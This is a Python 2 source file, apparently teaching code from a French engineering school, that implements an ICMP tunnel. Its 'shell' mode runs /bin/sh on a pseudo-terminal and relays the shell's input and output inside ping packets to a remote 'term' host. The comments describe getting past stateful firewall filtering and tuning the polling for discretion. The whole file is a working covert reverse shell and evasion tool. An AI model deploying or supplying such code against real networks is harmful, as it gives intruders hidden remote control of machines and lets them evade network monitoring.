#!/usr/bin/env python2
# -*- coding: iso-8859-15 -*-
#-----------------------------------------------------------------------------
# Copyright (c) 2007-2008 Fabrice HARROUET (ENIB)
#
# Permission to use, copy, modify, distribute and sell this software
# and its documentation for any purpose is hereby granted without fee,
# provided that the above copyright notice appear in all copies and
# that both that copyright notice and this permission notice appear
# in supporting documentation.
# The author makes no representations about the suitability of this
# software for any purpose.
# It is provided "as is" without express or implied warranty.
#-----------------------------------------------------------------------------

import sys
import socket
import os
import select
import time
import traceback
import struct

if not hasattr(struct,'unpack_from'):
  struct.unpack_from=lambda fmt,data,offset: struct.unpack(fmt,
                     data[offset:offset+struct.calcsize(fmt)])

ECHO_REQUEST=8
ECHO_REPLY=0

MAX_PAYLOAD=0x200

PING_INTERVAL=1.0
FAST_PING_INTERVAL=PING_INTERVAL/20.0

#-----------------------------------------------------------------------------

#  The remote process is interacted through a pseudo-terminal that should
#  be driven by our application.
#  In this program we re-use the current terminal for the purpose of driving
#  the pseudo-terminal.
#  Thus the current terminal has to be switched to raw-mode with no echo of
#  the input since the only terminal management is done on the pseudo-terminal.

import termios
import copy

savedTermios=None

def restoreTerminal(fd):
  if savedTermios:
    termios.tcsetattr(fd,termios.TCSANOW,savedTermios)

def initTerminal(fd):
  global savedTermios
  if os.isatty(fd):
    savedTermios=termios.tcgetattr(fd)
    # tty.setraw(fd,termios.TCSANOW)
    newTermios=copy.deepcopy(savedTermios)
    newTermios[3]&=~(termios.ICANON|termios.ECHO) # raw-mode, no input-echo
    termios.tcsetattr(fd,termios.TCSANOW,newTermios)

#-----------------------------------------------------------------------------

def computeChecksum(icmp):
  sum=0
  size=len(icmp)
  addr=0
  while size>1:
    sum+=struct.unpack_from('!H',icmp,addr)[0]
    addr+=2
    size-=2
  if size:
    sum+=struct.unpack_from('!B',icmp,addr)[0]<<8
  while sum>>16:
    sum=(sum&0x0000FFFF)+(sum>>16)
  return ~sum&0x0000FFFF

class Echo(object):
  def __init__(self,host,type,ident,seq,payload):
    object.__init__(self)
    self.host=host
    self.type=type
    self.ident=ident
    self.seq=seq
    self.payload=payload

def sendEcho(fd,echo):
  icmp=struct.pack('!BBHHH',echo.type,0,0,echo.ident,echo.seq)+echo.payload
  fd.sendto(icmp[0:2]+struct.pack('!H',computeChecksum(icmp))+icmp[4:],
            0,(echo.host,0))

def recvEcho(fd):
  data=fd.recvfrom(1024)
  icmp=data[0]
  if len(icmp)<28: return None
  (type,code,sum,ident,seq)=struct.unpack_from('!BBHHH',icmp,20)
  if type!=ECHO_REPLY and type!=ECHO_REQUEST: return None
  if code!=0: return None
  if computeChecksum(icmp): return None
  return Echo(data[1][0],type,ident,seq,icmp[28:])

#-----------------------------------------------------------------------------

#  Because of a statefull filtering, the ``term'' program cannot initiate
#  any icmp traffic to the ``shell'' program
#  Thus, even if the shell process does not have anything to write, the
#  ``shell''  program has to poll for an input from the ``term'' program.
#  This is done by sending echo-requests which legitimate echo-replies from
#  de ``term'' program.
#  The rate is dynamically adjusted to ensure a relative discretion while
#  providing an interactive behavior.

def shellMain():
  try:
    ident=int(sys.argv[2])
    dest=socket.gethostbyname(sys.argv[3])
  except:
    sys.stderr.write('\nusage: %s %s identNumber destination [command]\n\n' \
                     % (sys.argv[0],sys.argv[1]))
    return
  command=sys.argv[4:]
  if not command: command=['/bin/sh']
  (master,slave)=os.openpty()
  child=os.fork()
  if not child:
    os.setsid()
    os.dup2(slave,sys.stdin.fileno())
    os.dup2(slave,sys.stdout.fileno())
    os.dup2(slave,sys.stderr.fileno())
    os.close(slave)
    os.close(master)
    os.execv(command[0],command)
    sys.exit(1)
  os.close(slave)
  rawSock=socket.socket(socket.AF_INET,socket.SOCK_RAW,socket.IPPROTO_ICMP)
  print '~~~~ Redirecting %s to %s over echo-icmp (id=%d) ~~~~' \
        % (' '.join(command),dest,ident)
  outputBuffer=''
  interval=PING_INTERVAL
  seq=0
  nextTime=time.time()
  while True:
    remaining=nextTime-time.time()
    if remaining<0: remaining=0
    ready=select.select([master,rawSock],[],[],remaining)
    if master in ready[0]:
      try:
        interval=0
        outputBuffer+=os.read(master,MAX_PAYLOAD)
      except:
        break
    if rawSock in ready[0]:
      echo=recvEcho(rawSock)
      if echo and echo.host==dest \
              and echo.type==ECHO_REPLY \
              and echo.ident==ident:
        try:
          while len(echo.payload):
            interval=0
            nb=os.write(master,echo.payload)
            echo.payload=echo.payload[nb:]
        except:
          break
    nb=len(outputBuffer)
    if nb or time.time()>=nextTime:
      if nb>MAX_PAYLOAD:
        nb=MAX_PAYLOAD
        interval=FAST_PING_INTERVAL
      elif interval<PING_INTERVAL:
        interval+=FAST_PING_INTERVAL
      nextTime=time.time()+interval
      # print nb, interval
      seq+=1
      sendEcho(rawSock,Echo(dest,ECHO_REQUEST,ident,seq,outputBuffer[:nb]))
      outputBuffer=outputBuffer[nb:]
  os.close(master)
  os.waitpid(child,0)

#-----------------------------------------------------------------------------

#  Because of a statefull filtering, the ``term'' program cannot initiate
#  any icmp traffic to the ``shell'' program
#  Thus, the terminal input is buffered until an echo-request allows
#  to send the buffer's content into an echo-reply.

def termMain():
  try:
    ident=int(sys.argv[2])
  except:
    sys.stderr.write('\nusage: %s %s identNumber\n\n' \
                     % (sys.argv[0],sys.argv[1]))
    return
  input=sys.stdin.fileno()
  output=sys.stdout.fileno()
  rawSock=socket.socket(socket.AF_INET,socket.SOCK_RAW,socket.IPPROTO_ICMP)
  inputBuffer=''
  print '~~~~ Accepting remote IO over echo-icmp (id=%d) ~~~~' % ident
  try:
    initTerminal(input)
    os.system('sysctl -q -w net.ipv4.icmp_echo_ignore_all=1')
    while True:
      ready=select.select([input,rawSock],[],[])
      if input in ready[0]:
        try:
          inputBuffer+=os.read(input,0x100)
        except:
          break
      if rawSock in ready[0]:
        echo=recvEcho(rawSock)
        if echo and echo.type==ECHO_REQUEST and echo.ident==ident:
          seq=echo.seq
          try:
            while len(echo.payload):
              nb=os.write(output,echo.payload)
              echo.payload=echo.payload[nb:]
          except:
            break
          nb=len(inputBuffer)
          if nb:
            if nb>MAX_PAYLOAD: nb=MAX_PAYLOAD
            echo.type=ECHO_REPLY
            echo.payload=inputBuffer[:nb]
            sendEcho(rawSock,echo)
            inputBuffer=inputBuffer[nb:]
  except:
    traceback.print_exc()
  os.system('sysctl -q -w net.ipv4.icmp_echo_ignore_all=0')
  restoreTerminal(input)

#-----------------------------------------------------------------------------

def pingMain():
  rawSock=socket.socket(socket.AF_INET,socket.SOCK_RAW,socket.IPPROTO_ICMP)
  if len(sys.argv)>2:
    dest=sys.argv[2]
  else:
    dest='127.0.0.1'
  dest=socket.gethostbyname(dest)
  seq=0
  nextTime=time.time()
  while True:
    remaining=nextTime-time.time()
    if remaining<0: remaining=0
    ready=select.select([rawSock],[],[],remaining)
    if rawSock in ready[0]:
      echo=recvEcho(rawSock)
      if echo:
        print 78*'-'
        if echo.type==ECHO_REQUEST: echo.type='request'
        else: echo.type='reply'
        print '%s from %s (ident=%d, seq=%d)' \
              % (echo.type,echo.host,echo.ident,echo.seq)
        print repr(echo.payload)
    if time.time()>=nextTime:
      seq+=1
      sendEcho(rawSock,Echo(dest,ECHO_REQUEST,0xBEEF,seq,'Hand made ICMP!'))
      nextTime+=PING_INTERVAL

#-----------------------------------------------------------------------------

if __name__=='__main__':
  main=None
  if len(sys.argv)>1:
    if sys.argv[1]=='shell': main=shellMain
    elif sys.argv[1]=='term': main=termMain
    elif sys.argv[1]=='ping': main=pingMain
  if main:
    try:
      main()
    except:
      traceback.print_exc()
      sys.exit(1)
    sys.exit(0)
  sys.stderr.write('\nusage: %s shell|term|ping ...\n\n' % sys.argv[0])
  sys.exit(1)

#-----------------------------------------------------------------------------
